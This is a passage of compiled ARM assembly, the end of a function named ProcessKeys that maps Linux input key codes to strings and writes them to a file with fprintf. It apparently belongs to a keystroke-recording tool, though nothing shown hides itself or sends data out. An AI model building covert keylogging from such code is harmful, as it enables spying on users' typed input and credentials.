	ldrh	r3, [fp, #18]
	cmp	r3, #4
	bne	.L13
	ldrh	r3, [fp, #18]
	mov	r2, r3
	ldr	r1, .L70+12
	ldr	r0, [fp, #-8]
	bl	fprintf
	b	.L69
.L13:
	ldrh	r3, [fp, #18]
	cmp	r3, #5
	bne	.L14
	ldrh	r3, [fp, #18]
	mov	r2, r3
	ldr	r1, .L70+16
	ldr	r0, [fp, #-8]
	bl	fprintf
	b	.L69
.L14:
	ldrh	r3, [fp, #18]
	cmp	r3, #6
	bne	.L15
	ldrh	r3, [fp, #18]
	mov	r2, r3
	ldr	r1, .L70+20
	ldr	r0, [fp, #-8]
	bl	fprintf
	b	.L69
.L15:
	ldrh	r3, [fp, #18]
	cmp	r3, #7
	bne	.L16
	ldrh	r3, [fp, #18]
	mov	r2, r3
	ldr	r1, .L70+24
	ldr	r0, [fp, #-8]
	bl	fprintf
	b	.L69
.L16:
	ldrh	r3, [fp, #18]
	cmp	r3, #8
	bne	.L17
	ldrh	r3, [fp, #18]
	mov	r2, r3
	ldr	r1, .L70+28
	ldr	r0, [fp, #-8]
	bl	fprintf
	b	.L69
.L17:
	ldrh	r3, [fp, #18]
	cmp	r3, #9
	bne	.L18
	ldrh	r3, [fp, #18]
	mov	r2, r3
	ldr	r1, .L70+32
	ldr	r0, [fp, #-8]
	bl	fprintf
	b	.L69
.L18:
	ldrh	r3, [fp, #18]
	cmp	r3, #10
	bne	.L19
	ldrh	r3, [fp, #18]
	mov	r2, r3
	ldr	r1, .L70+36
	ldr	r0, [fp, #-8]
	bl	fprintf
	b	.L69
.L19:
	ldrh	r3, [fp, #18]
	cmp	r3, #11
	bne	.L20
	ldrh	r3, [fp, #18]
	mov	r2, r3
	ldr	r1, .L70+40
	ldr	r0, [fp, #-8]
	bl	fprintf
	b	.L69
.L20:
	ldrh	r3, [fp, #18]
	cmp	r3, #12
	bne	.L21
	ldrh	r3, [fp, #18]
	mov	r2, r3
	ldr	r1, .L70+44
	ldr	r0, [fp, #-8]
	bl	fprintf
	b	.L69
.L21:
	ldrh	r3, [fp, #18]
	cmp	r3, #13
	bne	.L22
	ldrh	r3, [fp, #18]
	mov	r2, r3
	ldr	r1, .L70+48
	ldr	r0, [fp, #-8]
	bl	fprintf
	b	.L69
.L22:
	ldrh	r3, [fp, #18]
	cmp	r3, #14
	bne	.L23
	ldrh	r3, [fp, #18]
	mov	r2, r3
	ldr	r1, .L70+52
	ldr	r0, [fp, #-8]
	bl	fprintf
	b	.L69
.L23:
	ldrh	r3, [fp, #18]
	cmp	r3, #1
	bne	.L24
	ldrh	r3, [fp, #18]
	mov	r2, r3
	ldr	r1, .L70+4
	ldr	r0, [fp, #-8]
	bl	fprintf
	b	.L69
.L24:
	ldrh	r3, [fp, #18]
	cmp	r3, #15
	bne	.L25
	ldrh	r3, [fp, #18]
	mov	r2, r3
	ldr	r1, .L70+56
	ldr	r0, [fp, #-8]
	bl	fprintf
	b	.L69
.L25:
	ldrh	r3, [fp, #18]
	cmp	r3, #16
	bne	.L26
	ldrh	r3, [fp, #18]
	mov	r2, r3
	ldr	r1, .L70+60
	ldr	r0, [fp, #-8]
	bl	fprintf
	b	.L69
.L26:
	ldrh	r3, [fp, #18]
	cmp	r3, #17
	bne	.L27
	ldrh	r3, [fp, #18]
	mov	r2, r3
	ldr	r1, .L70+64
	ldr	r0, [fp, #-8]
	bl	fprintf
	b	.L69
.L27:
	ldrh	r3, [fp, #18]
	cmp	r3, #18
	bne	.L28
	ldrh	r3, [fp, #18]
	mov	r2, r3
	ldr	r1, .L70+68
	ldr	r0, [fp, #-8]
	bl	fprintf
	b	.L69
.L28:
	ldrh	r3, [fp, #18]
	cmp	r3, #19
	bne	.L29
	ldrh	r3, [fp, #18]
	mov	r2, r3
	ldr	r1, .L70+72
	ldr	r0, [fp, #-8]
	bl	fprintf
	b	.L69
.L29:
	ldrh	r3, [fp, #18]
	cmp	r3, #20
	bne	.L30
	ldrh	r3, [fp, #18]
	mov	r2, r3
	ldr	r1, .L70+76
	ldr	r0, [fp, #-8]
	bl	fprintf
	b	.L69
.L30:
	ldrh	r3, [fp, #18]
	cmp	r3, #21
	bne	.L31
	ldrh	r3, [fp, #18]
	mov	r2, r3
	ldr	r1, .L70+80
	ldr	r0, [fp, #-8]
	bl	fprintf
	b	.L69
.L31:
	ldrh	r3, [fp, #18]
	cmp	r3, #22
	bne	.L32
	ldrh	r3, [fp, #18]
	mov	r2, r3
	ldr	r1, .L70+84
	ldr	r0, [fp, #-8]
	bl	fprintf
	b	.L69
.L32:
	ldrh	r3, [fp, #18]
	cmp	r3, #23
	bne	.L33
	ldrh	r3, [fp, #18]
	mov	r2, r3
	ldr	r1, .L70+88
	ldr	r0, [fp, #-8]
	bl	fprintf
	b	.L69
.L33:
	ldrh	r3, [fp, #18]
	cmp	r3, #24
	bne	.L34
	ldrh	r3, [fp, #18]
	mov	r2, r3
	ldr	r1, .L70+92
	ldr	r0, [fp, #-8]
	bl	fprintf
	b	.L69
.L34:
	ldrh	r3, [fp, #18]
	cmp	r3, #25
	bne	.L35
	ldrh	r3, [fp, #18]
	mov	r2, r3
	ldr	r1, .L70+96
	ldr	r0, [fp, #-8]
	bl	fprintf
	b	.L69
.L35:
	ldrh	r3, [fp, #18]
	cmp	r3, #26
	bne	.L36
	ldrh	r3, [fp, #18]
	mov	r2, r3
	ldr	r1, .L70+100
	ldr	r0, [fp, #-8]
	bl	fprintf
	b	.L69
.L36:
	ldrh	r3, [fp, #18]
	cmp	r3, #27
	bne	.L37
	ldrh	r3, [fp, #18]
	mov	r2, r3
	ldr	r1, .L70+104
	ldr	r0, [fp, #-8]
	bl	fprintf
	b	.L69
.L37:
	ldrh	r3, [fp, #18]
	cmp	r3, #43
	bne	.L38
	ldrh	r3, [fp, #18]
	mov	r2, r3
	ldr	r1, .L70+108
	ldr	r0, [fp, #-8]
	bl	fprintf
	b	.L69
.L38:
	ldrh	r3, [fp, #18]
	cmp	r3, #29
	bne	.L39
	ldrh	r3, [fp, #18]
	mov	r2, r3
	ldr	r1, .L70+4
	ldr	r0, [fp, #-8]
	bl	fprintf
	b	.L69
.L39:
	ldrh	r3, [fp, #18]
	cmp	r3, #30
	bne	.L40
	ldrh	r3, [fp, #18]
	mov	r2, r3
	ldr	r1, .L70+112
	ldr	r0, [fp, #-8]
	bl	fprintf
	b	.L69
.L40:
	ldrh	r3, [fp, #18]
	cmp	r3, #31
	bne	.L41
	ldrh	r3, [fp, #18]
	mov	r2, r3
	ldr	r1, .L70+116
	ldr	r0, [fp, #-8]
	bl	fprintf
	b	.L69
.L41:
	ldrh	r3, [fp, #18]
	cmp	r3, #32
	bne	.L42
	ldrh	r3, [fp, #18]
	mov	r2, r3
	ldr	r1, .L70+120
	ldr	r0, [fp, #-8]
	bl	fprintf
	b	.L69
.L42:
	ldrh	r3, [fp, #18]
	cmp	r3, #33
	bne	.L43
	ldrh	r3, [fp, #18]
	mov	r2, r3
	ldr	r1, .L70+124
	ldr	r0, [fp, #-8]
	bl	fprintf
	b	.L69
.L43:
	ldrh	r3, [fp, #18]
	cmp	r3, #34
	bne	.L44
	ldrh	r3, [fp, #18]
	mov	r2, r3
	ldr	r1, .L70+128
	ldr	r0, [fp, #-8]
	bl	fprintf
	b	.L69
.L44:
	ldrh	r3, [fp, #18]
	cmp	r3, #35
	bne	.L45
	ldrh	r3, [fp, #18]
	mov	r2, r3
	ldr	r1, .L70+132
	ldr	r0, [fp, #-8]
	bl	fprintf
	b	.L69
.L45:
	ldrh	r3, [fp, #18]
	cmp	r3, #36
	bne	.L46
	ldrh	r3, [fp, #18]
	mov	r2, r3
	ldr	r1, .L70+136
	ldr	r0, [fp, #-8]
	bl	fprintf
	b	.L69
.L46:
	ldrh	r3, [fp, #18]
	cmp	r3, #37
	bne	.L47
	ldrh	r3, [fp, #18]
	mov	r2, r3
	ldr	r1, .L70+140
	ldr	r0, [fp, #-8]
	bl	fprintf
	b	.L69
.L47:
	ldrh	r3, [fp, #18]
	cmp	r3, #38
	bne	.L48
	ldrh	r3, [fp, #18]
	mov	r2, r3
	ldr	r1, .L70+144
	ldr	r0, [fp, #-8]
	bl	fprintf
	b	.L69
.L48:
	ldrh	r3, [fp, #18]
	cmp	r3, #39
	bne	.L49
	ldrh	r3, [fp, #18]
	mov	r2, r3
	ldr	r1, .L70+148
	ldr	r0, [fp, #-8]
	bl	fprintf
	b	.L69
.L49:
	ldrh	r3, [fp, #18]
	cmp	r3, #40
	bne	.L50
	ldrh	r3, [fp, #18]
	mov	r2, r3
	ldr	r1, .L70+152
	ldr	r0, [fp, #-8]
	bl	fprintf
	b	.L69
.L50:
	ldrh	r3, [fp, #18]
	cmp	r3, #28
	bne	.L51
	ldrh	r3, [fp, #18]
	mov	r2, r3
	ldr	r1, .L70+156
	ldr	r0, [fp, #-8]
	bl	fprintf
	b	.L69
.L51:
	ldrh	r3, [fp, #18]
	cmp	r3, #42
	bne	.L52
	ldrh	r3, [fp, #18]
	mov	r2, r3
	ldr	r1, .L70+160
	ldr	r0, [fp, #-8]
	bl	fprintf
	b	.L69
.L52:
	ldrh	r3, [fp, #18]
	cmp	r3, #44
	bne	.L53
	ldrh	r3, [fp, #18]
	mov	r2, r3
	ldr	r1, .L70+164
	ldr	r0, [fp, #-8]
	bl	fprintf
	b	.L69
.L53:
	ldrh	r3, [fp, #18]
	cmp	r3, #45
	bne	.L54
	ldrh	r3, [fp, #18]
	mov	r2, r3
	ldr	r1, .L70+168
	ldr	r0, [fp, #-8]
	bl	fprintf
	b	.L69
.L54:
	ldrh	r3, [fp, #18]
	cmp	r3, #46
	bne	.L55
	ldrh	r3, [fp, #18]
	mov	r2, r3
	ldr	r1, .L70+172
	ldr	r0, [fp, #-8]
	bl	fprintf
	b	.L69
.L55:
	ldrh	r3, [fp, #18]
	cmp	r3, #47
	bne	.L56
	ldrh	r3, [fp, #18]
	mov	r2, r3
	ldr	r1, .L70+176
	ldr	r0, [fp, #-8]
	bl	fprintf
	b	.L69
.L56:
	ldrh	r3, [fp, #18]
	cmp	r3, #48
	bne	.L57
	ldrh	r3, [fp, #18]
	mov	r2, r3
	ldr	r1, .L70+180
	ldr	r0, [fp, #-8]
	bl	fprintf
	b	.L69
.L57:
	ldrh	r3, [fp, #18]
	cmp	r3, #49
	bne	.L58
	ldrh	r3, [fp, #18]
	mov	r2, r3
	ldr	r1, .L70+184
	ldr	r0, [fp, #-8]
	bl	fprintf
	b	.L69
.L58:
	ldrh	r3, [fp, #18]
	cmp	r3, #50
	bne	.L59
	ldrh	r3, [fp, #18]
	mov	r2, r3
	ldr	r1, .L70+188
	ldr	r0, [fp, #-8]
	bl	fprintf
	b	.L69
.L59:
	ldrh	r3, [fp, #18]
	cmp	r3, #51
	bne	.L60
	ldrh	r3, [fp, #18]
	mov	r2, r3
	ldr	r1, .L70+192
	ldr	r0, [fp, #-8]
	bl	fprintf
	b	.L69
.L60:
	ldrh	r3, [fp, #18]
	cmp	r3, #52
	bne	.L61
	ldrh	r3, [fp, #18]
	mov	r2, r3
	ldr	r1, .L70+196
	ldr	r0, [fp, #-8]
	bl	fprintf
	b	.L69
.L61:
	ldrh	r3, [fp, #18]
	cmp	r3, #53
	bne	.L62
	ldrh	r3, [fp, #18]
	mov	r2, r3
	ldr	r1, .L70+200
	ldr	r0, [fp, #-8]
	bl	fprintf
	b	.L69
.L62:
	ldrh	r3, [fp, #18]
	cmp	r3, #29
	bne	.L63
	ldrh	r3, [fp, #18]
	mov	r2, r3
	ldr	r1, .L70+204
	ldr	r0, [fp, #-8]
	bl	fprintf
	b	.L69
.L63:
	ldrh	r3, [fp, #18]
	cmp	r3, #125
	bne	.L64
	ldrh	r3, [fp, #18]
	mov	r2, r3
	ldr	r1, .L70+208
	ldr	r0, [fp, #-8]
	bl	fprintf
	b	.L69
.L64:
	ldrh	r3, [fp, #18]
	cmp	r3, #56
	bne	.L65
	ldrh	r3, [fp, #18]
	mov	r2, r3
	ldr	r1, .L70+212
	ldr	r0, [fp, #-8]
	bl	fprintf
	b	.L69
.L65:
	ldrh	r3, [fp, #18]
	cmp	r3, #57
	bne	.L66
	ldrh	r3, [fp, #18]
	mov	r2, r3
	ldr	r1, .L70+216
	ldr	r0, [fp, #-8]
	bl	fprintf
	b	.L69
.L66:
	ldrh	r3, [fp, #18]
	cmp	r3, #100
	bne	.L67
	ldrh	r3, [fp, #18]
	mov	r2, r3
	ldr	r1, .L70+212
	ldr	r0, [fp, #-8]
	bl	fprintf
	b	.L69
.L67:
	ldrh	r3, [fp, #18]
	cmp	r3, #126
	bne	.L68
	ldrh	r3, [fp, #18]
	mov	r2, r3
	ldr	r1, .L70+208
	ldr	r0, [fp, #-8]
	bl	fprintf
	b	.L69
.L68:
	ldrh	r3, [fp, #18]
	cmp	r3, #97
	bne	.L69
	ldrh	r3, [fp, #18]
	mov	r2, r3
	ldr	r1, .L70+204
	ldr	r0, [fp, #-8]
	bl	fprintf
.L69:
	nop
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, lr}
	add	sp, sp, #16
	bx	lr
.L71:
	.align	2
.L70:
	.word	.LC5
	.word	.LC6
	.word	.LC7
	.word	.LC8
	.word	.LC9
	.word	.LC10
	.word	.LC11
	.word	.LC12
	.word	.LC13
	.word	.LC14
	.word	.LC15
	.word	.LC16
	.word	.LC17
	.word	.LC18
	.word	.LC19
	.word	.LC20
	.word	.LC21
	.word	.LC22
	.word	.LC23
	.word	.LC24
	.word	.LC25
	.word	.LC26
	.word	.LC27
	.word	.LC28
	.word	.LC29
	.word	.LC30
	.word	.LC31
	.word	.LC32
	.word	.LC33
	.word	.LC34
	.word	.LC35
	.word	.LC36
	.word	.LC37
	.word	.LC38
	.word	.LC39
	.word	.LC40
	.word	.LC41
	.word	.LC42
	.word	.LC43
	.word	.LC44
	.word	.LC45
	.word	.LC46
	.word	.LC47
	.word	.LC48
	.word	.LC49
	.word	.LC50
	.word	.LC51
	.word	.LC52
	.word	.LC53
	.word	.LC54
	.word	.LC55
	.word	.LC56
	.word	.LC57
	.word	.LC58
	.word	.LC59
	.size	ProcessKeys, .-ProcessKeys
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
